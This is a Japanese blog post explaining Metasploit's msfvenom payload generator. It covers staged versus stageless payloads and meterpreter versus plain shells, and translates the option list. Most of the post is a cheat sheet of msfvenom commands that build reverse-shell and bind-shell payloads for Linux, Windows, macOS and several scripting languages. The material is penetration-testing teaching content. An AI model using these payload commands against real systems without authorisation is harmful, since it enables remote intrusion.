LoginSignup
17
16

More than 1 year has passed since last update.

msfvenom とは何なのか

Last updated at Posted at 2020-08-22

Metasploitの1つのモジュールでシェルコードやペイロードをコマンドで作成できるとても便利なツール。

Metasploitは、コンピュータセキュリティに関するオープンソースのプロジェクトで、脆弱性、ペネトレーションテスト、侵入検知システム、シェルコードのアーカイブ、アンチフォレンジクス(コンピュータ・フォレンジクスによる解析への対抗技術)などを主な守備範囲としている。コマンドラインで操作が出来る〜

詳しくは本サイトをチェック : https://www.offensive-security.com

payloadは514種類ある(2021/05/08 時点)。

stagedとstageless(段階的・非段階的)

msfvenom -p linux/x86/shell/reverse_tcp # 段階的ペイロード(/で区切られてる)
msfvenom -p linux/x86/shell_reverse_tcp # 

段階的

段階的ペイロードは侵入口のネットワークが低帯域幅または高遅延環境あると動かない傾向がある。
攻撃者へ再接続し、数々のライブラリをロードする必要があるからである。

ライブラリは基本的には、metsrv,stdapi, priv で全体サイズは1240KB。

したがって、段階的ペイロードを使用する際は侵入口のネットワーク環境が比較的、低遅延環境であるべし〜

非段階

一方、非段階ペイロードは一度の処理で攻撃者のシェルと接続する。
ネットワーク環境が遅いよみたいな時は使うといいですね。

詳しくは rapid7.comのブログ(英語)

meterpreterとshell

ペイロードの種類にshellmeterpreter はそれぞれ違う。

shell は netcatを使用したシェルに対応したもの。
meterpretermsfconsole のシェルに対応したもの。

netcatmsfconsole のシェルなのかによって使い分ける。

  • x86とx86_64

32bitと64bitのことで両方のアーキテクチャーは異なる。
64bitのものを32bitの方で使おうとしても、動かない

ペイロード早見表

--- 基本的な使用方法 ---

root@kali:~# msfvenom -h
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /opt/metasploit/apps/pro/msf3/msfvenom [options] <var=val>

Options:
-p、-payload使用するペイロード。カスタムペイロードを使用するには、「-」またはstdinを指定。
    --payload-optionsペイロードの標準オプションを一覧表示。
    -l、-list [type]モジュールタイプを一覧表示。オプションは次のとおり:ペイロード、エンコーダー、nops、全て。
    -n、-nopsledペイロードに[長さ]サイズのnopsledを付加。
    -f、-format出力フォーマット(リストには--help-formatsを使用)。
        --help-formats利用可能なフォーマットを一覧表示。
    -e、-encoder使用するエンコーダー
    -a、-arch使用するアーキテクチャ
        --platformペイロードのプラットフォーム
        --help-platforms利用可能なプラットフォームを一覧表示。
    -s、-space結果のペイロードの最大サイズ
        --encoder-spaceエンコードされたペイロードの最大サイズ(デフォルトは-s値)
    -b、-bad-chars例を避けるための文字のリスト: '\ x00 \ xff'
    -i、-iterationsペイロードをエンコードする回数。
    -c、-add-code含める追加のwin32シェルコードファイルを指定。
    -x、-templateテンプレートとして使用するカスタム実行可能ファイルを指定。
    -k、-keepテンプレートの動作を保持し、ペイロードを新しいスレッドとして挿入。
    -o、-outペイロードを保存。
    -v、-var-name特定の出力形式に使用するカスタム変数名を指定。
        --smallest可能な限り最小のペイロードを生成。
    -h、-helpこのメッセージを表示する。

OS別のshellcode

Linux

## 32 bits
msfvenom -p linux/x86/shell/reverse_tcp LHOST=$lhost LPORT=$lport -f elf > shell.elf
msfvenom -p linux/x86/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f elf > shell.elf
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$lhost LPORT=$lport -f elf > shell.elf

## 64 bits
msfvenom -p linux/x64/shell/reverse_tcp LHOST=$lhost LPORT=$lport -f elf > shell.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f elf > shell.elf
msfvenom -p generic/shell_bind_tcp RHOST=$rhost LPORT=$lport -f elf > term.elf

Windows

## 32 bits
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
msfvenom -p windows/meterpreter_reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
msfvenom -p windows/powershell_reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
msfvenom -p windows/shell/reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
msfvenom -p windows/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe

## 64 bits
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
msfvenom -p windows/x64/shell/reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe

Macintosh

msfvenom -p osx/x86/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f macho > shell.macho
msfvenom -p osx/x86/shell_bind_tcp RHOST=$rhost LPORT=$lport -f macho > bind.macho

プログラミング言語別shellcode

# PHP 
msfvenom -p php/meterpreter/reverse_tcp LHOST=$lhost LPORT=$lport -f raw > shell.php
msfvenom -p php/meterpreter_reverse_tcp LHOST=$lhost LPORT=$lport -f raw > shell.php

# ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$lhost LPORT=$lport -f asp > shell.asp

# ASPX
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$lhost LPORT=$lport -f asp > shell.aspx

# JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$lhost LPORT=$lport -f raw > shell.jsp

#WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$lhost LPORT=$lport -f war > shell.war

#Python
msfvenom -p python/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f raw > shell.py
msfvenom -p python/meterpreter_reverse_tcp LHOST=$lhost LPORT=$lport -f raw > shell.py
msfvenom -p cmd/unix/reverse_python LHOST=$lhost LPORT=$lport -f raw > shell.py

# Bash
msfvenom -p cmd/unix/reverse_bash LHOST=$lhost LPORT=$lport -f raw > shell.sh

# Perl
msfvenom -p cmd/unix/reverse_perl LHOST=$lhost LPORT=$lport -f raw > shell.pl
17
16
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
17
16